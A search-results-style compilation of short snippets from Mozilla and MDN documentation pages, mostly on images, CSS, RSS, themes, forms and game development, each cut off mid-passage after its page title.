details can be located at layout confusion refactoring the nshtmlreflowstate(computeblockboxdata, initconstraints) and nsimageframe::getdesiredsize which uses ns_inrinsicsize, into the following method: /** * compute the size that a frame will occupy.
2006-11-10 - Archive of obsolete content
block images discussion on how where to change source code so that images could be blocked in mozilla.
Proposal - Archive of obsolete content
lets you specify an image, up to 277x78 pixels.
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
omething like this: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla</title> <url>http://www.mozilla.org/images/moz.gif</url> <link>http://www.mozilla.org</link> </image> <item> <title>new status updates</title> <link>http://www.mozilla.org/status/</link> </item> <item> <title>bugzilla reorganized</title> <link>http://www.mozilla.or...
Element - Archive of obsolete content
el element) <cloud> (rss cloud element) <comments> (rss comments element) <copyright> (rss copyright element) d <day> (rss day element) <description> (rss description element) <docs> (rss docs element) e <enclosure> (rss enclosure element) f g <generator> (rss generator element) <guid> (rss guid element) h <height> (rss height element) <hour> (rss hour element) i <image> (rss image element) <item> (rss item element) j k l <language> (rss language element) <lastbuilddate> (rss last build date element) <link> (rss link element) m <managingeditor> (rss managing editor element) n <name> (rss name element) o p <pubdate> (rss published date element) q r <rating> (rss rating element) <rss> (rss's root "rss" element) s <skipdays> (r...
Tamarin Tracing Build Documentation - Archive of obsolete content
g system processor status windows xp x86 supported, acceptance and performance tests automated in buildbot mac os x 10.4 x86 supported, acceptance and performance tests automated in buildbot linux - ubuntu 8.0.4 x86 supported, acceptance and performance tests automated in buildbot windows mobile (pocket pc 5.0) armv4t supported, acceptance and performance tests automated in buildbot raw image (no os) armv5 supported, acceptance and performance tests not done linux (nokia n810) armv5 supported, acceptance and performance tests not done current build status the current tamarin tracing build status can be found at tamarin tracing build status getting the tamarin source the tamarin tracing source resides in mercurial at tamarin tracing.
Building a Theme - Archive of obsolete content
that form the structure and behavior of an application ui), locale (dtd, .properties files etc that contain strings for the ui's localization), and skin (css and images that form the theme of the ui) finally, the path of a file to load.
contents.rdf - Archive of obsolete content
the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_th...
Theme changes in Firefox 3.5 - Archive of obsolete content
third-party themes can still draw a gripper for the scrollbar thumb button by applying a centered background image to the scrollbar's thumb button.
Theme changes in Firefox 4 - Archive of obsolete content
iconsize value actual add-on toolbar button icon dimensions (assuming correct stylesheet and images) small 16x16 pixels large 24x24 pixels note: for stock buttons, the theme is free to use icons of any size.
Summary of Changes - Archive of obsolete content
proprietary or deprecated feature w3c feature or recommended replacement deprecated font html 4.01 span plus css1 color: ; font-family: ; font-size: ; deprecated center or align="center" css1 text-align: center; for in-line elements like text or image deprecated center or align="center" css1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1 background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripting non-standard bgsound html 4.01 object propri...
Using the W3C DOM - Archive of obsolete content
« previousnext » the document object has properties for accessing collections of elements, such as document.images and document.forms.
-ms-block-progression - Archive of obsolete content
images are not rotated, but tables are.
-ms-scroll-snap-points-x - Archive of obsolete content
(the -ms-scroll-snap-points-x property behaves identically to the -ms-scroll-snap-points-y property, but along the x-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-x: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-x-min: 100%; -ms-scroll-limit-x-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not par...
-ms-scroll-snap-points-y - Archive of obsolete content
(the -ms-scroll-snap-points-y property behaves identically to the -ms-scroll-snap-points-x property, but along the y-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-y: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-y-min: 100%; -ms-scroll-limit-y-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-y: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not par...
-ms-scrollbar-arrow-color - Archive of obsolete content
</div> </body> the following image shows the result: specifications not part of any specification.
-ms-scrollbar-base-color - Archive of obsolete content
</div> </body> the following image shows the result.
-ms-scrollbar-face-color - Archive of obsolete content
</div> </body> this image shows the result: specifications not part of any specification.
-ms-scrollbar-highlight-color - Archive of obsolete content
</div> </body> this image shows the result: specifications not part of any specification.
-ms-scrollbar-track-color - Archive of obsolete content
</div> </body> the following image shows the result.
:-moz-system-metric() - Archive of obsolete content
syntax values -moz-windows-compositormedia: media/visual accepts min/max prefixes: no:-moz-system-metric(images-in-menus)the :-moz-system-metric(images-in-menus) css pseudo-class matches an element if the computer's user interface supports images in menus.:-moz-system-metric(mac-graphite-theme):-moz-system-metric(mac-graphite-theme) will match an element if the user has chosen the "graphite" appearance in the "appearance" prefpane of the mac os x system preferences.:-moz-system-metric(scrollbar-end-backward)the :-moz-system-metric(...
::-ms-check - Archive of obsolete content
-ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
::-ms-clear - Archive of obsolete content
-ms-high-contrast-adjust background-clip background-color background-image background-origin background-position-x background-position-y background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-ra...
::-ms-expand - Archive of obsolete content
-ms-high-contrast-adjust background-clip background-color background-image background-origin background-position-x background-position-y background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-ra...
::-ms-fill-lower - Archive of obsolete content
background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
::-ms-fill-upper - Archive of obsolete content
background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
::-ms-fill - Archive of obsolete content
animation-name background-clip, background-color, background-image, background-origin, background-repeat, and background-size border border-radius box-shadow box-sizing color cursor display (values block, inline-block, none) font height margin -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color, outline-style, and outline-width padding transform and transform-origin visibility syntax ::-ms-fil...
::-ms-reveal - Archive of obsolete content
background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
::-ms-thumb - Archive of obsolete content
background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
::-ms-ticks-after - Archive of obsolete content
background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
::-ms-ticks-before - Archive of obsolete content
background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
::-ms-track - Archive of obsolete content
background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
::-ms-value - Archive of obsolete content
background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color c...
E4X for templating - Archive of obsolete content
example iterates over an array of the lines in an e4x child element to produce an xmllist of multiple vbox's representing each line: <vbox> {foreach(e(someel.somechild[0]).split('\n'), function (line) <description>{line}</description> )} </vbox> the following example shows iteration over an e4x object itself: {foreach(elems, function (k, elem, iter) <> <row>{k}: {elem}</row> <row><image src="chrome://myext/skin/images/fillerrow.jpg" /></row> </>)} or if the e4x child element had its own children and text: {foreach(elems, function (k, elem, iter) <> <row>{k}: {elem.text()} {elem.somechild}</row> <row><image src="chrome://myext/skin/images/fillerrow.jpg" /></row> </>)} sorting /* @param {xmllist} xmllist the xmllist to sort @param {function} h the sorting handler */ ...
Writing JavaScript for XHTML - Archive of obsolete content
for completeness here is the accept field, that firefox 2.0.0.9 sends with its requests: accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 further reading you will find several useful articles in the developer wiki: xml in mozilla dom xml introduction xml extras dom 2 methods you will need are: dom:document.createelementns dom:document.getelementsbytagnamens see also properly using css and javascript in xhtml documents ...
XForms Custom Controls Examples - Archive of obsolete content
output showing images <binding id="output-image" extends="chrome://xforms/content/xforms.xml#xformswidget-base"> <content> <html:div> <html:img anonid="content"/> </html:div> </content> <implementation implements="nsixformsuiwidget"> <method name="refresh"> <body> var img = document.getanonymouselementbyattribute(this, "anonid", "content"); img.setattribute("src", this.stringvalue); return true; </body> </method> </implementation> </binding> output showing xhtml <binding id="output-xhtml" extends="chrome://xforms/content/xforms-xhtml.xml#xformswidget...
Mozilla XForms User Interface - Archive of obsolete content
image - if the instance node contains an image, then an output element can be used in combination with the mediatype element to display the image.
The Business Benefits of Web Standards - Archive of obsolete content
even more importantly, it reduces bandwidth consumption by images.
Using the Right Markup to Invoke Plugins - Archive of obsolete content
here is an example: <object type="application/x-java-applet;jpi-version=1.4.1_01" width="460" height="160"> <param name="code" value="animator.class" /> <param name="imagesource" value="images/beans" /> <param name="backgroundcolor" value="0xc0c0c0" /> <param name="endimage" value="10" /> <param name="soundsource" value="audio"> <param name="soundtrack" value="spacemusic.au" /> <param name="sounds" value="1.au|2.au|3.au|4.au|5.au|6.au|7.au|8.au|9.au|0.au" /> <param name="pause" value="200" /> <p>you need the java plugin.
Archive of obsolete content
index of archived content inner-browsing extending the browser navigation paradigm this article is the version from 2003 with slight modifications (no images and no links to samples).
Unconventional controls - Game development
if(horizontaldegree > degreethreshold) { playerx -= 5; } else if(horizontaldegree < -degreethreshold) { playerx += 5; } if(verticaldegree > degreethreshold) { playery += 5; } else if(verticaldegree < -degreethreshold) { playery -= 5; } if(grabstrength == 1) { alert('boom!'); } ctx.drawimage(img, playerx, playery); requestanimationframe(draw); } if the horizontaldegree value is greater than our degreethreshold, which is 30 in this case, then the ship will be moved left 5 pixels on every frame.
Implementing game control mechanisms - Game development
the game's folders look like this: as you can see there are folders for images, javascript files, fonts and sound effects.
Efficient animation for web games - Game development
modern console games, for example, tend to prioritise framerate during player movement and combat, but may prioritise image quality or physics detail when compromise to framerate and input response would be less noticeable.
2D breakout game using pure JavaScript - Game development
you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states.
Physics - Game development
final code check the latest code should look like this: var ball; function preload() { game.scale.scalemode = phaser.scalemanager.show_all; game.scale.pagealignhorizontally = true; game.scale.pagealignvertically = true; game.stage.backgroundcolor = '#eee'; game.load.image('ball', 'img/ball.png'); } function create() { game.physics.startsystem(phaser.physics.arcade); ball = game.add.sprite(50, 50, 'ball'); game.physics.enable(ball, phaser.physics.arcade); ball.body.velocity.set(150, 150); } function update() { } try reloading index.html again — the ball should now be moving constantly in the given direction.
Randomizing gameplay - Game development
change the images and use your own.
Scaling - Game development
show_all — scales the canvas, but keeps the aspect ratio untouched, so images won't be skewed like in the previous mode.
2D breakout game using Phaser - Game development
you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states.
Tutorials - Game development
along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.
Bézier curve - MDN Web Docs Glossary: Definitions of Web-related terms
in vector images, they are used to model smooth curves that can be scaled indefinitely.
CMS - MDN Web Docs Glossary: Definitions of Web-related terms
a cms (content management system) is software that allows users to publish, organize, change, or remove various kinds of content, not only text but also embedded images, video, audio, and interactive code.
Canonical order - MDN Web Docs Glossary: Definitions of Web-related terms
the canonical order of those longhand values is defined as background-image background-position background-size background-repeat background-attachment background-origin background-clip background-color furthermore, its syntax defines, that if a value for the background-size is given, it must be specified after the value for the background-position, separated by a slash.
Canvas - MDN Web Docs Glossary: Definitions of Web-related terms
the canvas element is part of html5 and allows for dynamic, scriptable rendering of 2d and 3d shapes and bitmap images.
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
client hints enable automated delivery of optimized assets like the automatic negotiation of image dpr resolution.
Domain sharding - MDN Web Docs Glossary: Definitions of Web-related terms
the initial response from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded.
Element - MDN Web Docs Glossary: Definitions of Web-related terms
in xml and html, an element may contain a data item or a chunk of text or an image, or perhaps nothing.
frame rate (FPS) - MDN Web Docs Glossary: Definitions of Web-related terms
when moving on a computer screen there are no motion blurs (unless you are animating an image sprite with motion blurs).
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
note, however, that most modern browsers replaced the favicon from the address bar by an image indicating whether or not the website is using https.
First contentful paint - MDN Web Docs Glossary: Definitions of Web-related terms
the first contentful paint time stamp is when the browser first rendered any text, image (including background images), non-white canvas or svg.
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
web browsers need software called a layout engine to interpret html, css, javascript, and embedded content (like images) and draw everything to your screen.
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
the image below shows the line numbers of the grid, assuming the language is left-to-right.
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
the image below shows the first row track on a grid.
Hyperlink - MDN Web Docs Glossary: Definitions of Web-related terms
in html, <a> elements define hyperlinks from a spot on a webpage (like a text string or image) to another spot on some other webpage (or even on the same page).
Lazy load - MDN Web Docs Glossary: Definitions of Web-related terms
lazy loading is a strategy that delays the loading of some assets (e.g., images) until they are needed by the user based on the user's activity and navigation pattern; typically, these assets are only loaded when they are scrolled into view.
mime - MDN Web Docs Glossary: Definitions of Web-related terms
audio, video and images.
MIME type - MDN Web Docs Glossary: Definitions of Web-related terms
a mime type (now properly called "media type", but also sometimes "content type") is a string sent along with a file indicating the type of the file (describing the content format, for example, a sound file might be labeled audio/ogg, or an image file image/png).
Media (Audio-visual presentation) - MDN Web Docs Glossary: Definitions of Web-related terms
more broadly, media may include still images such as photographs or other still images.
PDF - MDN Web Docs Glossary: Definitions of Web-related terms
pdf provides a digital image of a printed document, and keeps the same appearance when printed.
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
when the html parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing.
Plaintext - MDN Web Docs Glossary: Definitions of Web-related terms
it is frequently used interchangeably with the term cleartext, which more loosely refers to any information, such as a text document, image, etc., that has not been encrypted and can be read by a human or computer without additional processing.
Rendering engine - MDN Web Docs Glossary: Definitions of Web-related terms
a rendering engine is software that draws text and images on the screen.
SEO - MDN Web Docs Glossary: Definitions of Web-related terms
use text as well as images so that crawlers can understand the subject.
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
data that will be populated semantic naming mirrors proper custom element/component naming when approaching which markup to use, ask yourself, "what element(s) best describe/represent the data that i'm going to populate?" for example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.
URL - MDN Web Docs Glossary: Definitions of Web-related terms
uniform resource locator (url) is a text string that specifies where a resource (such as a web page, image, or video) can be found on the internet.
GIF - MDN Web Docs Glossary: Definitions of Web-related terms
gif (graphics interchange format) is an image format that uses lossless compression and can be used for animations.
JPEG - MDN Web Docs Glossary: Definitions of Web-related terms
jpeg (joint photographic experts group) is a commonly used method of lossy compression for digital images.
WebP - MDN Web Docs Glossary: Definitions of Web-related terms
webp is a lossless and lossy compression image format developed by google.
Assessment: Accessibility troubleshooting - Learn web development
the images the images are currently inaccessible to screenreader users.
Accessibility - Learn web development
accessible multimedia another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives, so they can be understood by assistive technologies and their users.
Cascade and inheritance - Learn web development
overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: The Cascade - Learn web development
in the example below see if you can match the image above.
Debugging CSS - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Overflowing content - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Attribute selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Combinators - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Pseudo-classes and pseudo-elements - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Type, class, and ID selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS selectors - Learn web development
adjacent sibling general sibling combinator h1 ~ p general sibling in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: tables - Learn web development
our finished table will look like the image below.
Introduction to CSS layout - Learn web development
floats — applying a float value such as left can cause block level elements to wrap alongside one side of an element, like the way images sometimes have text floating around them in magazine layouts.
Test your skills: Multicol - Learn web development
multicol three cause the element containing the heading and subheading to span across all columns so it looks like the image.
Normal Flow - Learn web development
overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span { background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move ...
CSS layout - Learn web development
floats originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on webpages.
How CSS works - Learn web development
the browser then fetches most of the resources that are linked to by the html document, such as embedded images and videos ...
Using your new knowledge - Learn web development
you should end up with something like this image.
Use CSS to solve common problems - Learn web development
LearnCSSHowto
how to use background-clip to control how much of the box your background image covers.
What are hyperlinks? - Learn web development
since then, the web has evolved to provide access to images, videos, and binary data, but these improvements have hardly changed the three pillars.
Client-side form validation - Learn web development
(required)</label> <input id="choose" name="i_like" required> <button>submit</button> </form> note the css that is included in the example file: input:invalid { border: 2px dashed red; } input:invalid:required { background-image: linear-gradient(to right, pink, lightgreen); } input:valid { border: 2px solid black; } this css causes the input to have a red dashed border when it is invalid and a more subtle solid black border when valid.
HTML forms in legacy browsers - Learn web development
<label for="mycolor"> pick a color <input type="color" id="mycolor" name="color"> </label> supported not supported form buttons there are two ways to define buttons within html forms: the <input> element with its attribute type set to the values button, submit, reset or image the <button> element <input> the <input> element can make things a little difficult if you want to apply some css by using the element selector: <input type="button" value="click me"> if we remove the border on all inputs, can we restore the default appearance on input buttons only?
How to build custom form controls - Learn web development
it could also be implemented using a simple background image on the select class.
CSS property compatibility table for form controls - Learn web development
border-radius no[1] no[1] box-shadow no[1] no[1] image buttons see the image input type: property n t note css box model width yes yes height yes yes border yes yes margin yes yes padding yes yes text and font color n.a.
Sending form data - Learn web development
select "network" select "all" select "foo.com" in the "name" tab select "headers" you can then get the form data, as shown in the image below.
Styling web forms - Learn web development
before we start coding, we need three additional assets: the postcard background — download this image and save it in the same directory as your working html file.
Test your skills: Basic controls - Learn web development
allow the file picker to accept jpg and png images only.
How the Web works - Learn web development
assets: this is a collective name for all the other stuff that makes up a website, such as images, music, video, word documents, and pdfs.
Installing basic software - Learn web development
a graphics editor, like gimp, figma, paint.net, photoshop, or xd, to make images or graphics for your web pages.
Publishing your website - Learn web development
however, the features are limited, and these apps usually don't provide hosting space for assets (like images).
HTML Cheatsheet - Learn web development
usage code snippet result a simple link <a href="https://realityripple.com/">a link to realityripple</a> a link to realityripple a simple image <img src="https://udn.realityripple.com/samples/6e/d6ed76c6c7.png" width="25" /> a generic inline container <p>p its used to <span style="color:blue">style and group</span> particular elements </p> p its used to style and group particular elements another inline container <p>span its used to differentiate a part <span style="color:blue">of the content</s...
Debugging HTML - Learn web development
looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.
Document and website structure - Learn web development
previous overview: introduction to html next in addition to defining individual parts of your page (such as "a paragraph" or "an image"), html also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column").
Test your skills: Multimedia and embedding - Learn web development
your post should include: a descriptive title such as "assessment wanted for html image basics 1 skill test".
Introduction to events - Learn web development
(select the image for a bigger diagram) in modern browsers, by default, all event handlers are registered for the bubbling phase.
JavaScript building blocks - Learn web development
image gallery now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by building a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
Third-party APIs - Learn web development
}) to check whether each article has any images associated with it (some stories don't.) we display the first image only if it exists (otherwise an error would be thrown).
Video and Audio APIs - Learn web development
icon fonts are very cool for many reasons — cutting down on http requests because you don't need to download those icons as image files, great scalability, and the fact that you can use text properties to style them — like color and text-shadow.
Working with JSON - Learn web development
images, text, json, even html snippets), meaning that we can update small sections of content without having to reload the entire page.
CSS performance optimization - Learn web development
measuring performance multimedia: images multimedia: video javascript performance best practices.
Web performance resources - Learn web development
image optimization (use css animation, or svg if possible).
What is web performance? - Learn web development
measuring performance multimedia: images multimedia: video javascript performance best practices.
The business case for web performance - Learn web development
measuring performance multimedia: images multimedia: video javascript performance best practices.
Learning area release notes - Learn web development
you can see these on: html text fundamentals creating hyperlinks advanced text formatting images in html video and audio content from object to iframe — other embedding technologies ...
Properly configuring server MIME types - Learn web development
displays an image which is reported to be plain text.
Ember app structure and componentization - Learn web development
looking at the code next to the rendered todo app, there are a number of ways we could decide how to break up the ui, but let's plan on splitting the html out into the following components: the component groupings are as follows: the main input / "new-todo" (red in the image) the containing body of the todo list + the mark-all-complete button (purple in the image) the mark-all-complete button, explicitly highlighted for reasons given below (yellow in the image) each todo is an individual component (green in the image) the footer (blue in the image) something odd to note is that the mark-all-complete checkbox (marked in yellow), while in the "main" s...
Framework main features - Learn web development
in order to know what image to render, and what byline to print, authorcredit needs accept some props.
Getting started with Svelte - Learn web development
finally the file public/index.html includes the generated bundle.css and bundle.js files: <!doctype html> <html lang="en"> <head> <meta charset='utf-8'> <meta name='viewport' content='width=device-width,initial-scale=1'> <title>svelte app</title> <link rel='icon' type='image/png' href='/favicon.png'> <link rel='stylesheet' href='/global.css'> <link rel='stylesheet' href='/build/bundle.css'> <script defer src='/build/bundle.js'></script> </head> <body> </body> </html> the minified version of bundle.js weighs a little more than 3kb, which includes the "svelte runtime" (just 300 lines of javascript code) and the app.svelte compiled component.
Getting started with Vue - Learn web development
assets: this directory is for storing static assets like css and images.
Styling Vue components with CSS - Learn web development
the images below show the look of the app before and after the reset is applied.
Deploying our app - Learn web development
some questions to ask yourself: can images be compressed during the build step?
Introducing a complete toolchain - Learn web development
however, this project has only 4 svg images, which were manually minified using svgo before adding them to the project.
Client-side tooling overview - Learn web development
parcel is a particularly clever tool that fits into this category — it can do the above tasks, but also helps to package assets like html, css, and image files into convenient bundles that you can then go on to deploy, and also adds dependencies for you automatically whenever you try to use them.
Frequently Asked Questions for Lightweight themes
the theme you upload may not exceed 300 kb for the header or the footer image.
Adding a new CSS property
(note that when the longhand property css_property_parse_value_list, the shorthand property parser would be assumed to be reusing the longhand parser once per item, not for a whole list, as for properties like background-image or transform-timing-function.) if the property takes a list of keywords other than inherit/initial/etc., auto, none, or normal (which can be expressed using the variant_* flags), you should use variant_keyword and add a keyword table to the nscssprops class.
Creating reftest-based unit tests
other comparisons note that it should also be possible to create a reftest that tests markup against an actual graphic image of the visual construct that should result.
Debugging Frame Reflow
ding a line with the frame name and 0: short name layout tag area area block block br br bullet bullet button gfxbuttoncontrol hr hr framei htmlframeinner frameo htmlframeouter img image inline inline letter letter line line select select obj object page page place placeholder posinline positionedinline canvas canvas root root scroll scroll ...
Windows SDK versions
windows 7 sdk features that depend on this sdk include: windows 7 taskbar previews windows 7 download taskbar progress windows 7 jump lists you can download the sdk (v7.0 [web setup or iso image] or unsupported v7.1 [web setup or iso image]) from the microsoft download center.
Reviewer Checklist
accessibility for html pages, images should have the alt attribute set when appropriate.
Error codes returned by Mozilla APIs
ns_error_plugins_pluginsnotchanged (0x804c03e8) ns_error_plugin_disabled (0x804c03e9) ns_error_uconv_noconv (0x80500001) ns_error_udec_illegalinput (0x8050000e) ns_imagelib_error_failure (0x80540005) ns_imagelib_error_no_decoder (0x80540006) ns_imagelib_error_not_finished (0x80540007) ns_imagelib_error_load_aborted (0x80540008) ns_error_wont_handle_content (0x805d0001) moz_error_storage_error (0x80630001) ns_error_schemavalidator_no_schema_loaded (0x80640001) ns_error_schemavalidator_no_dom_node_specified (0x80640002) ns_error_sche...
Performance best practices for Firefox front-end engineers
the rendering process goes through the following steps: the above image is used under creative commons attribution 3.0, courtesy of this page from our friends at google, which itself is well worth the read.
Tracking Protection
if tracking cookies were present, you would be able to view the list by clicking on "blocking tracking cookies" in the above image to view the following popup: you can click "manage content blocking" to change the blocking settings: how does firefox choose what to block?
Chrome-only CSS reference
MozillaGeckoChromeCSS
e-cellactivated by the properties attribute.::-moz-tree-cell-textactivated by the properties attribute.::-moz-tree-cell-text(hover)the :-moz-tree-cell-text(hover) css pseudo-class will match an element if the mouse cursor is presently hovering over text in a tree cell.::-moz-tree-columnactivated by the properties attribute.::-moz-tree-drop-feedbackactivated by the properties attribute.::-moz-tree-imageactivated by the properties attribute.::-moz-tree-indentationactivated by the properties attribute.::-moz-tree-lineactivated by the properties attribute.::-moz-tree-progressmeteractivated when the type attribute is set to progressmeter.
Embedding the editor
there is a huge amount of composer ui in the various dialogs for editing tables, links, images etc.
Embedding Tips
the nsicontextmenulistener::onshowcontextmenu() method will be called with the dom node that the context applies, the dom event plus some flag combinations that assist in determining what menu to display (document, link, image, selected text etc.) how do i implement tool tips?
Gecko SDK
